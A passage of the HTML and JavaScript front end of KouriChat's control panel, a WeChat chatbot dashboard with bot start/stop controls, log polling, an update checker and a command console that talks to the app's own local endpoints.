onclick="reconnectWechat()" id="reconnectBtn"> <i class="bi bi-wechat"></i>微信掉线重连 </button> <button class="btn btn-glass text-success me-2" onclick="startBot()" id="startBotBtn"> <i class="bi bi-play-fill me-1"></i>启动 </button> <button class="btn btn-glass text-danger me-2" onclick="stopBot()" id="stopBotBtn" disabled> <i class="bi bi-stop-fill me-1"></i>停止 </button> <button class="btn btn-glass text-primary" onclick="checkUpdate()"> <i class="bi bi-cloud-arrow-up me-1"></i>更新 </button> </div> </div> <!-- 添加加载状态指示器 --> <div id="botLoadingStatus" class="alert alert-info d-none"> <div class="d-flex align-items-center"> <div class="spinner-border spinner-border-sm me-2" role="status"> <span class="visually-hidden">Loading...</span> </div> <span id="botLoadingText">正在启动机器人...</span> </div> </div> <div class="d-flex justify-content-between align-items-center mb-3"> <div> <h6 class="status-badge" id="botStatus"> <span class="status-stopped">已停止</span> </h6> <small class="text-muted" id="botUptime">运行时间: 0分钟</small> </div> </div> <!-- 日志显示区域 --> <div class="bot-logs mt-3"> <div class="d-flex justify-content-between align-items-center mb-2"> <h6 class="mb-0">控制台</h6> <div> <button class="btn btn-glass me-2" onclick="scrollToBottom()"> <i class="bi bi-arrow-down me-1"></i>滚动到底部 </button> <button class="btn btn-glass" onclick="clearLogs()"> <i class="bi bi-trash me-1"></i>清空日志 </button> </div> </div> <div id="logContainer" class="log-container"> <div class="logs"></div> </div> <!-- 添加控制台输入区域 --> <div class="console-input-area mt-3"> <div class="input-group"> <span class="input-group-text bg-transparent border-0"> <i class="bi bi-terminal"></i> </span> <input type="text" class="form-control border-0" id="consoleInput" placeholder="输入指令并按Enter发送..." onkeydown="handleConsoleInput(event)"> </div> </div> </div> </div> <!-- <div class="glass-panel"> <h4 class="mb-4"> <i class="bi bi-person-circle me-2"></i>用户信息 <button class="btn btn-sm btn-outline-primary float-end" onclick="updateUserInfo()"> <i class="bi bi-arrow-clockwise me-1"></i>刷新 </button> </h4> <div class="row g-3"> <div class="col-md-6"> <div class="info-card"> <div class="d-flex justify-content-between align-items-center mb-2"> <span class="text-muted">账户状态</span> <span id="userStatus" class="badge rounded-pill">获取中...</span> </div> <div class="d-flex justify-content-between align-items-center"> <span class="text-muted">用户名</span> <span id="userName" class="text-primary">获取中...</span> </div> </div> </div> <div class="col-md-6"> <div class="info-card"> <div class="d-flex justify-content-between align-items-center mb-2"> <span class="text-muted">邮箱</span> <span id="userEmail" class="text-secondary">获取中...</span> </div> <div class="d-flex justify-content-between align-items-center"> <span class="text-muted">账户类型</span> <span id="userRole" class="badge bg-info">普通用户</span> </div> </div> </div> <div class="col-12"> <div class="info-card"> <h6 class="mb-3">账户余额</h6> <div class="row g-2"> <div class="col-md-4"> <div class="p-3 rounded bg-primary bg-opacity-10"> <div class="text-primary mb-1">当前余额</div> <div id="userBalance" class="h5 mb-0">获取中...</div> </div> </div> <div class="col-md-4"> <div class="p-3 rounded bg-success bg-opacity-10"> <div class="text-success mb-1">充值金额</div> <div id="chargeBalance" class="h5 mb-0">获取中...</div> </div> </div> <div class="col-md-4"> <div class="p-3 rounded bg-info bg-opacity-10"> <div class="text-info mb-1">累计总额</div> <div id="totalBalance" class="h5 mb-0">获取中...</div> </div> </div> </div> </div> </div> </div> </div> --> </div> </div> <div class="toast-container position-fixed bottom-0 end-0 p-3"> <div id="toast" class="toast align-items-center" role="alert" aria-live="assertive" aria-atomic="true"> <div class="d-flex"> <div class="toast-body"></div> <button type="button" class="btn-close me-2 m-auto" data-bs-dismiss="toast" aria-label="Close"></button> </div> </div> </div> <footer class="glass-panel mt-5"> <div class="container"> <div class="row g-4"> <div class="col-md-6"> <h5 class="mb-3">关于 KouriChat</h5> <p class="mb-3"> KouriChat 是一个基于 DeepSeek LLM 的情感陪伴程序,支持微信机器人接入。 项目提供沉浸式角色扮演和多轮对话支持,让 AI 陪伴更加真实自然。 </p> <div class="d-flex gap-3"> <a href="https://github.com/KouriChat/KouriChat" target="_blank" class="text-decoration-none text-muted" rel="noopener"> <i class="bi bi-github"></i> GitHub </a> <a href="https://github.com/KouriChat/KouriChat/wiki" target="_blank" class="text-decoration-none text-muted" rel="noopener"> <i class="bi bi-book"></i> 文档 </a> <a href="https://github.com/KouriChat/KouriChat/issues" target="_blank" class="text-decoration-none text-muted" rel="noopener"> <i class="bi bi-bug"></i> 反馈 </a> </div> </div> <div class="col-md-3"> <h5 class="mb-3">特色功能</h5> <ul class="list-unstyled"> <li><i class="bi bi-check2-circle me-2"></i>微信机器人接入</li> <li><i class="bi bi-check2-circle me-2"></i>DeepSeek LLM 支持</li> <li><i class="bi bi-check2-circle me-2"></i>角色扮演系统</li> <li><i class="bi bi-check2-circle me-2"></i>多轮对话支持</li> <li><i class="bi bi-check2-circle me-2"></i>情感表情系统</li> </ul> </div> <div class="col-md-3"> <h5 class="mb-3">技术支持</h5> <ul class="list-unstyled"> <li><i class="bi bi-envelope me-2"></i>yangchenglin2004@foxmail.com</li> <li><i class="bi bi-people me-2"></i>QQ群:715616260</li> <li><i class="bi bi-person me-2"></i>作者:umaru-233</li> <li><i class="bi bi-star me-2"></i>Stars:<span id="footerGithubStars">-</span></li> <li><i class="bi bi-git me-2"></i>Forks:<span id="footerGithubForks">-</span></li> </ul> </div> </div> <hr class="my-4"> <div class="text-center text-muted"> <small> © 2024 KouriChat. Made with <i class="bi bi-heart-fill text-danger"></i> by <a href="https://github.com/umaru-233" target="_blank" rel="noopener" class="text-decoration-none">umaru-233</a> </small> </div> </div> </footer> <div class="modal fade" id="stopBotModal" tabindex="-1" aria-labelledby="stopBotModalLabel" aria-hidden="true"> <div class="modal-dialog modal-dialog-centered"> <div class="modal-content modal-content-glass"> <div class="modal-header border-bottom-0"> <h5 class="modal-title" id="stopBotModalLabel"> <i class="bi bi-exclamation-triangle-fill text-warning me-2"></i>停止确认 </h5> <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button> </div> <div class="modal-body"> <p>确定要停止机器人吗?这将中断所有正在进行的对话。</p> </div> <div class="modal-footer border-top-0"> <button type="button" class="btn btn-secondary" data-bs-dismiss="modal">取消</button> <button type="button" class="btn btn-danger" onclick="confirmStopBot()"> <i class="bi bi-stop-fill me-1"></i>确认停止 </button> </div> </div> </div> </div> <!-- 公告提示模态框 --> <div class="modal fade" id="announcementModal" tabindex="-1" aria-labelledby="announcementModalLabel" aria-hidden="true"> <div class="modal-dialog modal-dialog-centered modal-lg"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title" id="announcementModalLabel"></h5> <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button> </div> <div class="modal-body announcement-body"> <div id="announcementContent"></div> </div> <div class="modal-footer justify-content-between"> <small class="text-muted">注意:每次程序启动后,控制面板会自动获取更新情况,请用户留意</small> <div> <button type="button" class="btn btn-outline-secondary me-2" id="announcementDismissBtn">不再显示</button> <button type="button" class="btn btn-primary" data-bs-dismiss="modal" id="announcementOkBtn">我知道了</button> </div> </div> </div> </div> </div> <!-- 更新通知模态框 --> <div class="modal fade" id="updateNotificationModal" tabindex="-1" aria-labelledby="updateNotificationModalLabel" aria-hidden="true"> <div class="modal-dialog modal-dialog-centered modal-lg"> <div class="modal-content"> <div class="modal-header bg-primary text-white"> <h5 class="modal-title" id="updateNotificationModalLabel"> <i class="bi bi-cloud-arrow-up me-2"></i>发现新版本 </h5> <button type="button" class="btn-close btn-close-white" data-bs-dismiss="modal" aria-label="Close"></button> </div> <div class="modal-body"> <div class="row"> <div class="col-md-6"> <div class="info-card mb-3"> <h6 class="text-muted mb-2">当前版本</h6> <div class="d-flex align-items-center"> <i class="bi bi-tag me-2 text-secondary"></i> <span id="currentVersionText" class="fw-bold">-</span> </div> </div> </div> <div class="col-md-6"> <div class="info-card mb-3"> <h6 class="text-muted mb-2">最新版本</h6> <div class="d-flex align-items-center"> <i class="bi bi-star me-2 text-warning"></i> <span id="latestVersionText" class="fw-bold text-primary">-</span> </div> </div> </div> </div> <div class="info-card mb-3"> <h6 class="text-muted mb-2">更新说明</h6> <div id="updateDescription" class="text-break"> 正在获取更新信息... </div> </div> <div class="info-card"> <h6 class="text-muted mb-2">发布时间</h6> <div id="updateTime" class="text-muted"> <i class="bi bi-calendar me-1"></i>- </div> </div> </div> <div class="modal-footer"> <button type="button" class="btn btn-outline-secondary" id="updateLaterBtn" data-bs-dismiss="modal"> <i class="bi bi-clock me-1"></i>稍后更新 </button> <button type="button" class="btn btn-success" id="updateNowBtn"> <i class="bi bi-download me-1"></i>立即更新 </button> </div> </div> </div> </div> <script> // 读取 data 属性来判断是否显示公告 const shouldShowAnnouncement = document.body.dataset.showAnnouncement === 'true'; // 通用的公告"不再显示"按钮事件处理函数 function bindAnnouncementDismissHandler(announcementData) { const dismissBtn = document.getElementById('announcementDismissBtn'); if (dismissBtn) { // 移除之前的事件监听器 const newDismissBtn = dismissBtn.cloneNode(true); dismissBtn.parentNode.replaceChild(newDismissBtn, dismissBtn); // 绑定新的事件监听器 newDismissBtn.addEventListener('click', function() { // 获取当前公告ID const announcementId = announcementData ? announcementData.id : null; // 调用API忽略公告 fetch('/dismiss_announcement', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ announcement_id: announcementId }) }) .then(response => response.json()) .then(result => { if (result.success) { showToast('此公告将不再显示', 'success'); // 关闭模态框 const announcementModal = bootstrap.Modal.getInstance(document.getElementById('announcementModal')); if (announcementModal) { announcementModal.hide(); } } else { showToast('操作失败: ' + result.message, 'error'); } }) .catch(error => { console.error('忽略公告失败:', error); showToast('操作失败,请稍后重试', 'error'); }); }); } } // 添加 showToast 函数 function showToast(message, type = 'info') { const toast = document.getElementById('toast'); const toastBody = toast.querySelector('.toast-body'); // 移除所有已有的背景色类 toast.classList.remove('bg-success', 'bg-danger', 'bg-info', 'bg-warning'); // 根据类型添加对应的背景色 switch(type) { case 'success': toast.classList.add('bg-success', 'text-white'); break; case 'error': toast.classList.add('bg-danger', 'text-white'); break; case 'warning': toast.classList.add('bg-warning'); break; default: toast.classList.add('bg-info', 'text-white'); } toastBody.textContent = message; const bsToast = new bootstrap.Toast(toast); bsToast.show(); } // 修改系统信息更新函数 function updateSystemInfo() { fetch('/system_info') .then(response => response.json()) .then(data => { try { // 更新其他系统信息 document.getElementById('cpuUsage').textContent = `${data.cpu}%`; document.getElementById('cpuProgress').style.width = `${data.cpu}%`; document.getElementById('memoryUsage').textContent = `${data.memory.used}/${data.memory.total} GB`; document.getElementById('memoryProgress').style.width = `${(data.memory.used/data.memory.total)*100}%`; document.getElementById('diskUsage').textContent = `${data.disk.used}/${data.disk.total} GB`; document.getElementById('diskProgress').style.width = `${(data.disk.used/data.disk.total)*100}%`; // 格式化网络速度显示 const formatSpeed = (speed) => { if (speed >= 1024) { return `${(speed/1024).toFixed(2)} MB/s`; } return `${speed.toFixed(2)} KB/s`; }; document.getElementById('uploadSpeed').textContent = formatSpeed(data.network.upload); document.getElementById('downloadSpeed').textContent = formatSpeed(data.network.download); } catch (error) { console.error('更新系统信息失败:', error); } }) .catch(error => { console.error('获取系统信息失败:', error); }); } let isPollingLogs = false; // 修改启动机器人函数 function startBot() { const loadingStatus = document.getElementById('botLoadingStatus'); const loadingText = document.getElementById('botLoadingText'); const startBtn = document.getElementById('startBotBtn'); const stopBtn = document.getElementById('stopBotBtn'); loadingStatus.classList.remove('d-none'); loadingText.textContent = '正在启动机器人...'; startBtn.disabled = true; fetch('/start_bot') .then(response => response.json()) .then(data => { if (data.status === 'success') { document.getElementById('botStatus').innerHTML = '<span class="status-running">运行中</span>'; showToast('机器人启动成功', 'success'); startPollingLogs(); stopBtn.disabled = false; startBtn.disabled = true; } else { showToast('机器人启动失败: ' + data.message, 'error'); startBtn.disabled = false; stopBtn.disabled = true; } loadingStatus.classList.add('d-none'); }) .catch(error => { showToast('启动失败: ' + error, 'error'); startBtn.disabled = false; stopBtn.disabled = true; loadingStatus.classList.add('d-none'); }); } // 添加日志轮询函数 function startPollingLogs() { if (!isPollingLogs) { isPollingLogs = true; pollLogs(); } } function formatLogLine(log) { // 解析日志格式 const timestampMatch = log.match(/\[([\d:]+)\]/); if (!timestampMatch) return log; const timestamp = timestampMatch[1]; const content = log.replace(/\[[\d:]+\]\s*/, ''); // 确定日志级别 let levelClass = 'log-level-info'; if (content.includes('成功') || content.includes('完成')) { levelClass = 'log-level-success'; } else if (content.includes('警告') || content.includes('warning')) { levelClass = 'log-level-warning'; } else if (content.includes('错误') || content.includes('error') || content.includes('失败')) { levelClass = 'log-level-error'; } // 返回格式化的HTML return `<span class="log-timestamp">[${timestamp}]</span><span class="${levelClass}">${content}</span>`; } function pollLogs() { fetch('/get_bot_logs') .then(response => response.json()) .then(data => { if (data.status === 'success') { const logContainer = document.querySelector('.log-container'); const logsElement = document.querySelector('.logs'); const startBtn = document.getElementById('startBotBtn'); const stopBtn = document.getElementById('stopBotBtn'); // 添加新日志 if (data.logs && data.logs.length > 0) { // 检查是否在底部 const isAtBottom = logContainer.scrollHeight - logContainer.clientHeight <= logContainer.scrollTop + 1; // 将新日志保存到localStorage中 const savedLogs = JSON.parse(localStorage.getItem('botLogs') || '[]'); data.logs.forEach(log => { // 添加到savedLogs savedLogs.push(log); // 限制日志存储数量,避免localStorage过大 if (savedLogs.length > 1000) { savedLogs.shift(); } const logLine = document.createElement('div'); logLine.className = 'log-line'; logLine.innerHTML = formatLogLine(log); logsElement.appendChild(logLine); }); // 更新localStorage localStorage.setItem('botLogs', JSON.stringify(savedLogs)); // 如果之前在底部,则滚动到新的底部 if (isAtBottom) { logContainer.scrollTo({ top: logContainer.scrollHeight, behavior: 'smooth' }); } } // 更新运行时间 if (data.uptime) { document.getElementById('botUptime').textContent = '运行时间: ' + data.uptime; } // 更新状态和按钮 if (data.is_running) { document.getElementById('botStatus').innerHTML = '<span class="status-running">运行中</span>'; startBtn.disabled = true; // 禁用启动按钮 stopBtn.disabled = false; // 启用停止按钮 } else { document.getElementById('botStatus').innerHTML = '<span class="status-stopped">已停止</span>'; startBtn.disabled = false; // 启用启动按钮 stopBtn.disabled = true; // 禁用停止按钮 isPollingLogs = false; return; } // 继续轮询 if (isPollingLogs) { setTimeout(pollLogs, 1000); } } }) .catch(error => { console.error('获取日志失败:', error); isPollingLogs = false; // 发生错误时重置按钮状态 document.getElementById('startBotBtn').disabled = false; document.getElementById('stopBotBtn').disabled = true; }); } // 修改滚动到底部函数 function scrollToBottom() { const logContainer = document.querySelector('.log-container'); if (logContainer) { logContainer.scrollTo({ top: logContainer.scrollHeight, behavior: 'smooth' }); } } // 清空日志函数 function clearLogs() { if (confirm('确定要清空日志吗?')) { const logsElement = document.querySelector('.logs'); if (logsElement) { logsElement.innerHTML = ''; } // 同时清空localStorage中保存的日志 localStorage.removeItem('botLogs'); } } // 修改停止机器人函数 function stopBot() { // 显示模态框而不是使用 confirm const stopModal = new bootstrap.Modal(document.getElementById('stopBotModal')); stopModal.show(); } function confirmStopBot() { const loadingStatus = document.getElementById('botLoadingStatus'); const loadingText = document.getElementById('botLoadingText'); const startBtn = document.getElementById('startBotBtn'); const stopBtn = document.getElementById('stopBotBtn'); // 隐藏模态框 const stopModal = bootstrap.Modal.getInstance(document.getElementById('stopBotModal')); stopModal.hide(); loadingStatus.classList.remove('d-none'); loadingText.textContent = '正在停止机器人...'; stopBtn.disabled = true; fetch('/stop_bot') .then(response => response.json()) .then(data => { if (data.status === 'success') { document.getElementById('botStatus').innerHTML = '<span class="status-stopped">已停止</span>'; document.getElementById('botUptime').textContent = '运行时间: 0分钟'; showToast('机器人已停止', 'success'); isPollingLogs = false; startBtn.disabled = false; stopBtn.disabled = true; } else { showToast('停止失败: ' + data.message, 'error'); stopBtn.disabled = false; } loadingStatus.classList.add('d-none'); }) .catch(error => { showToast('停止失败: ' + error, 'error'); stopBtn.disabled = false; loadingStatus.classList.add('d-none'); }); } // 检查更新 function checkUpdate() { const logsElement = document.querySelector('.logs'); // 添加检查更新的命令显示 const commandLine = document.createElement('div'); commandLine.className = 'log-line'; commandLine.innerHTML = `<span class="command-input">$ check update</span>`; logsElement.appendChild(commandLine); fetch('/check_update') .then(response => response.json()) .then(data => { // 显示检查结果 const outputLine = document.createElement('div'); outputLine.className = 'log-line'; outputLine.innerHTML = `<span class="command-output">${data.console_output}</span>`; logsElement.appendChild(outputLine); // 如果有更新,显示提示信息 if (data.has_update) { const updateInfoLine = document.createElement('div'); updateInfoLine.className = 'log-line'; updateInfoLine.innerHTML = `<span class="command-output">发现新版本: ${data.update_info.cloud_version}</span>`; logsElement.appendChild(updateInfoLine); const descriptionLine = document.createElement('div'); descriptionLine.className = 'log-line'; descriptionLine.innerHTML = `<span class="command-output">更新内容: ${data.update_info.description || '无详细说明'}</span>`; logsElement.appendChild(descriptionLine); const promptLine = document.createElement('div'); promptLine.className = 'log-line'; promptLine.innerHTML = `<span class="command-output">您可以点击"立即更新"按钮开始更新,或者在控制台输入 <span class="command-input">execute update</span> 命令开始更新</span>`; logsElement.appendChild(promptLine); } scrollToBottom(); }) .catch(error => { const errorLine = document.createElement('div'); errorLine.className = 'log-line'; errorLine.innerHTML = `<span class="command-error">检查更新失败: ${error}</span>`; logsElement.appendChild(errorLine); scrollToBottom(); }); } // 全局变量,用于跟踪更新进度 let updateProgressInterval = null; let lastLogCount = 0; // 直接执行更新 function executeUpdate() { const logsElement = document.querySelector('.logs'); // 添加执行更新的命令显示 const commandLine = document.createElement('div'); commandLine.className = 'log-line'; commandLine.innerHTML = `<span class="command-input">$ execute update</span>`; logsElement.appendChild(commandLine); // 显示开始更新的信息 const startLine = document.createElement('div'); startLine.className = 'log-line'; startLine.innerHTML = `<span class="command-output">开始执行更新...</span>`; logsElement.appendChild(startLine); scrollToBottom(); // 重置日志计数 lastLogCount = 0; // 启动更新进度轮询 if (updateProgressInterval) { clearInterval(updateProgressInterval); } // 开始轮询更新进度 updateProgressInterval = setInterval(fetchUpdateProgress, 1000); // 发送更新请求 fetch('/execute_update', { method: 'POST', headers: { 'Content-Type': 'application/json' } }) .then(response => response.json()) .then(data => { // 显示最终更新结果 const outputLine = document.createElement('div'); outputLine.className = 'log-line'; const statusClass = data.status === 'success' ? 'command-success' : 'command-error'; outputLine.innerHTML = `<span class="${statusClass}">更新${data.status === 'success' ? '成功' : '失败'}: ${data.message}</span>`; logsElement.appendChild(outputLine); scrollToBottom(); // 如果更新成功且需要重启 if (data.status === 'success' && data.restart_required) { const restartLine = document.createElement('div'); restartLine.className = 'log-line'; restartLine.innerHTML = `<span class="command-output" style="color: orange;">更新完成,需要重启应用程序以完成更新。</span>`; logsElement.appendChild(restartLine); scrollToBottom(); } // 停止轮询 if (updateProgressInterval) { clearInterval(updateProgressInterval); updateProgressInterval = null; } }) .catch(error => { console.error('执行更新失败:', error); const errorLine = document.createElement('div'); errorLine.className = 'log-line'; errorLine.innerHTML = `<span class="command-error">执行更新失败: ${error.message}</span>`; logsElement.appendChild(errorLine); scrollToBottom(); // 停止轮询 if (updateProgressInterval) { clearInterval(updateProgressInterval); updateProgressInterval = null; } }); } // 获取更新进度 function fetchUpdateProgress() { fetch('/update_progress') .then(response => response.json()) .then(data => { const logsElement = document.querySelector('.logs'); // 显示新的日志 if (data.logs && data.logs.length > lastLogCount) { for (let i = lastLogCount; i < data.logs.length; i++) { const log = data.logs[i]; const logLine = document.createElement('div'); logLine.className = 'log-line'; logLine.innerHTML = `<span class="command-output">[${log.timestamp}] ${log.message}</span>`; logsElement.appendChild(logLine); } lastLogCount = data.logs.length; scrollToBottom(); } // 如果更新完成,停止轮询 if (!data.in_progress && updateProgressInterval) { clearInterval(updateProgressInterval); updateProgressInterval = null; } }) .catch(error => { console.error('获取更新进度失败:', error); // 出错时也停止轮询 if (updateProgressInterval) { clearInterval(updateProgressInterval); updateProgressInterval = null; } }); } // 护眼模式切换 function toggleDarkMode() { document.body.setAttribute('data-bs-theme', document.body.getAttribute('data-bs-theme') === 'dark' ? 'light' : 'dark'); } // 页面加载初始化 document.addEventListener('DOMContentLoaded', function() { // 检查 localStorage 中的状态 const darkMode = localStorage.getItem('darkMode'); if (darkMode === 'enabled') { document.body.setAttribute('data-bs-theme', 'dark'); document.getElementById('darkModeToggle').checked = true; // 更新按钮状态 } // 护眼模式切换 document.getElementById('darkModeToggle').addEventListener('change', function() { if (this.checked) { document.body.setAttribute('data-bs-theme', 'dark'); localStorage.setItem('darkMode', 'enabled'); // 存储状态 } else { document.body.removeAttribute('data-bs-theme'); localStorage.setItem('darkMode', 'disabled'); // 存储状态 } }); // 初始化按钮状态 const startBtn = document.getElementById('startBotBtn'); const stopBtn = document.getElementById('stopBotBtn'); // 默认启用启动按钮,禁用停止按钮 startBtn.disabled = false; stopBtn.disabled = true; // 检查机器人状态 fetch('/get_bot_logs') .then(response => response.json()) .then(data => { if (data.status === 'success' && data.is_running) { document.getElementById('botStatus').innerHTML = '<span class="status-running">运行中</span>'; startBtn.disabled = true; stopBtn.disabled = false; startPollingLogs(); } else { document.getElementById('botStatus').innerHTML = '<span class="status-stopped">已停止</span>'; startBtn.disabled = false; stopBtn.disabled = true; } }); // 开始定时更新 updateSystemInfo(); setInterval(updateSystemInfo, 2000); // 初始化用户信息(只执行一次) // updateUserInfo(); // 初始化背景 fetch('/get_background') .then(response => response.json()) .then(data => { if (data.status === 'success' && data.path) { document.body.style.backgroundImage = `url('${data.path}')`; } }) .catch(error => console.error('Error:', error)); // 自动检查更新 autoCheckUpdate(); }); // 自动检查更新函数 function autoCheckUpdate() { // 检查是否在当前会话中已经检查过更新 const hasCheckedUpdate = sessionStorage.getItem('update_checked'); // 如果在当前会话中没有检查过更新,则直接运行检查更新指令 if (!hasCheckedUpdate) { console.log('正在自动检查更新...'); // 标记在此会话中已检查更新 sessionStorage.setItem('update_checked', 'true'); // 直接运行check update指令 checkUpdate(); } } // 更新用户信息 function updateUserInfo() { const elements = { status: document.getElementById('userStatus'), name: document.getElementById('userName'), email: document.getElementById('userEmail'), balance: document.getElementById('userBalance'), chargeBalance: document.getElementById('chargeBalance'), totalBalance: document.getElementById('totalBalance') }; // 设置加载状态 Object.values(elements).forEach(el => { if (el) el.innerHTML = '<i class="bi bi-hourglass-split"></i> 获取中...'; }); fetch('/user_info') .then(response => response.json()) .then(data => { if (data.status === 'success') { // 更新状态标签 elements.status.className = 'badge rounded-pill ' + (data.data.status === 'normal' ? 'bg-success' : 'bg-warning'); elements.status.innerHTML = data.data.status === 'normal' ? '<i class="bi bi-check-circle"></i> 正常' : '<i class="bi bi-exclamation-circle"></i> ' + data.data.status; // 更新用户信息 elements.name.textContent = data.data.name; elements.email.textContent = data.data.email; // 更新余额信息(添加货币符号和格式化) elements.balance.innerHTML = `¥${parseFloat(data.data.balance).toFixed(2)}`; elements.chargeBalance.innerHTML = `¥${parseFloat(data.data.charge_balance).toFixed(2)}`; elements.totalBalance.innerHTML = `¥${parseFloat(data.data.total_balance).toFixed(2)}`; showToast('用户信息更新成功', 'success'); } else { showToast(data.message, 'error'); // 显示错误状态 elements.status.className = 'badge rounded-pill bg-danger'; elements.status.innerHTML = '<i class="bi bi-x-circle"></i> 获取失败'; Object.values(elements).forEach(el => { if (el && el !== elements.status) el.textContent = '获取失败'; }); } }) .catch(error => { console.error('获取用户信息失败:', error); showToast('网络错误', 'error'); // 显示错误状态 elements.status.className = 'badge rounded-pill bg-danger'; elements.status.innerHTML = '<i class="bi bi-x-circle"></i> 网络错误'; Object.values(elements).forEach(el => { if (el && el !== elements.status) el.textContent = '网络错误'; }); }); } // 微信重连功能 function reconnectWechat() { const loadingStatus = document.getElementById('botLoadingStatus'); const loadingText = document.getElementById('botLoadingText'); const reconnectBtn = document.getElementById('reconnectBtn'); const originalText = reconnectBtn.innerHTML; // 显示加载状态 loadingStatus.classList.remove('d-none'); loadingText.textContent = '正在尝试重新连接微信...'; reconnectBtn.disabled = true; reconnectBtn.innerHTML = '<i class="bi bi-arrow-repeat me-2 spin"></i>连接中...'; // 向后端发送重连请求 fetch('/reconnect_wechat') .then(response => response.json()) .then(data => { if (data.status === 'success') { showToast('微信重连成功', 'success'); // 将重连过程的日志添加到控制台 const logsElement = document.querySelector('.logs'); const logLine = document.createElement('div'); logLine.className = 'log-line'; logLine.innerHTML = `<span class="log-timestamp">[${new Date().toLocaleTimeString()}]</span><span class="log-level-success">微信重连成功</span>`; logsElement.appendChild(logLine); scrollToBottom(); } else { showToast('微信重连失败: ' + data.message, 'error'); // 将错误信息添加到控制台 const logsElement = document.querySelector('.logs'); const logLine = document.createElement('div'); logLine.className = 'log-line'; logLine.innerHTML = `<span class="log-timestamp">[${new Date().toLocaleTimeString()}]</span><span class="log-level-error">微信重连失败: ${data.message}</span>`; logsElement.appendChild(logLine); scrollToBottom(); } }) .catch(error => { showToast('微信重连请求失败: ' + error, 'error'); // 将错误信息添加到控制台 const logsElement = document.querySelector('.logs'); const logLine = document.createElement('div'); logLine.className = 'log-line'; logLine.innerHTML = `<span class="log-timestamp">[${new Date().toLocaleTimeString()}]</span><span class="log-level-error">微信重连请求失败: ${error}</span>`; logsElement.appendChild(logLine); scrollToBottom(); }) .finally(() => { // 恢复按钮状态和隐藏加载提示 reconnectBtn.disabled = false; reconnectBtn.innerHTML = originalText; loadingStatus.classList.add('d-none'); }); } // 背景图片处理 document.getElementById('backgroundInput').addEventListener('change', function(e) { const file = e.target.files[0]; if (file) { const formData = new FormData(); formData.append('background', file); fetch('/upload_background', { method: 'POST', body: formData }) .then(response => response.json()) .then(data => { if (data.status === 'success') { document.body.style.backgroundImage = `url('${data.path}')`; showToast(data.message, 'success'); } else { showToast(data.message, 'error'); } }); } }); // 添加命令历史记录功能 let commandHistory = []; let historyIndex = -1; function handleConsoleInput(event) { const input = document.getElementById('consoleInput'); // 处理方向键上下浏览历史命令 if (event.key === 'ArrowUp') { event.preventDefault(); if (historyIndex < commandHistory.length - 1) { historyIndex++; input.value = commandHistory[historyIndex]; } } else if (event.key === 'ArrowDown') { event.preventDefault(); if (historyIndex > -1) { historyIndex--; input.value = historyIndex >= 0 ? commandHistory[historyIndex] : ''; } } else if (event.key === 'Enter') { event.preventDefault(); const command = input.value.trim(); if (command) { // 添加到历史记录 commandHistory.unshift(command); historyIndex = -1; // 显示输入的命令 const logsElement = document.querySelector('.logs'); const commandLine = document.createElement('div'); commandLine.className = 'log-line'; commandLine.innerHTML = `<span class="command-input">$ ${command}</span>`; logsElement.appendChild(commandLine); // 执行命令 executeCommand(command); // 清空输入框 input.value = ''; // 滚动到底部 scrollToBottom(); } } } function executeCommand(command) { // 特殊处理 execute update 命令 if (command.toLowerCase() === 'execute update') { // 先显示命令响应 fetch('/execute_command', { method: 'POST', headers: { 'Content-Type': 'application/json', }, body: JSON.stringify({ command: command }) }) .then(response => response.json()) .then(data => { const logsElement = document.querySelector('.logs'); const outputLine = document.createElement('div'); outputLine.className = 'log-line'; if (data.status === 'success') { outputLine.innerHTML = `<span class="command-output">${data.output}</span>`; } else { outputLine.innerHTML = `<span class="command-error">${data.error}</span>`; } logsElement.appendChild(outputLine); scrollToBottom(); // 如果命令成功,启动实际的更新过程 if (data.status === 'success') { // 延迟一秒后开始更新,让用户看到响应 setTimeout(() => { executeUpdateInternal(); }, 1000); } }) .catch(error => { const logsElement = document.querySelector('.logs'); const errorLine = document.createElement('div'); errorLine.className = 'log-line'; errorLine.innerHTML = `<span class="command-error">执行命令失败: ${error}</span>`; logsElement.appendChild(errorLine); scrollToBottom(); }); return; } // 处理其他命令 fetch('/execute_command', { method: 'POST', headers: { 'Content-Type': 'application/json', }, body: JSON.stringify({ command: command }) }) .then(response => response.json()) .then(data => { const logsElement = document.querySelector('.logs'); // 处理清空命令 if (data.clear) { logsElement.innerHTML = ''; return; } const outputLine = document.createElement('div'); outputLine.className = 'log-line'; if (data.status === 'success') { outputLine.innerHTML = `<span class="command-output">${data.output}</span>`; } else { outputLine.innerHTML = `<span class="command-error">${data.error}</span>`; } logsElement.appendChild(outputLine); scrollToBottom(); }) .catch(error => { const logsElement = document.querySelector('.logs'); const errorLine = document.createElement('div'); errorLine.className = 'log-line'; errorLine.innerHTML = `<span class="command-error">执行命令失败: ${error}</span>`; logsElement.appendChild(errorLine); scrollToBottom(); }); } // 内部更新执行函数,不显示命令行 function executeUpdateInternal() { const logsElement = document.querySelector('.logs'); // 重置日志计数 lastLogCount = 0; // 启动更新进度轮询 if (updateProgressInterval) { clearInterval(updateProgressInterval); } // 开始轮询更新进度 updateProgressInterval = setInterval(fetchUpdateProgress, 1000); // 发送更新请求 fetch('/execute_update', { method: 'POST', headers: { 'Content-Type': 'application/json' } }) .then(response => response.json()) .then(data => { // 显示最终更新结果 const outputLine = document.createElement('div'); outputLine.className = 'log-line'; const statusClass = data.status === 'success' ? 'command-success' : 'command-error'; outputLine.innerHTML = `<span class="${statusClass}">更新${data.status === 'success' ? '成功' : '失败'}: ${data.message}</span>`; logsElement.appendChild(outputLine); scrollToBottom(); // 如果更新成功且需要重启 if (data.status === 'success' && data.restart_required) { const restartLine = document.createElement('div'); restartLine.className = 'log-line'; restartLine.innerHTML = `<span class="command-output" style="color: orange;">更新完成,需要重启应用程序以完成更新。</span>`; logsElement.appendChild(restartLine); scrollToBottom(); } // 停止轮询 if (updateProgressInterval) { clearInterval(updateProgressInterval); updateProgressInterval = null; } }) .catch(error => { console.error('执行更新失败:', error); const errorLine = document.createElement('div'); errorLine.className = 'log-line'; errorLine.innerHTML = `<span class="command-error">执行更新失败: ${error.message}</span>`; logsElement.appendChild(errorLine); scrollToBottom(); // 停止轮询 if (updateProgressInterval) { clearInterval(updateProgressInterval); updateProgressInterval = null; } }); } // 添加防抖函数 function debounce(func, wait) { let timeout; return function executedFunction(...args) { const later = () => { 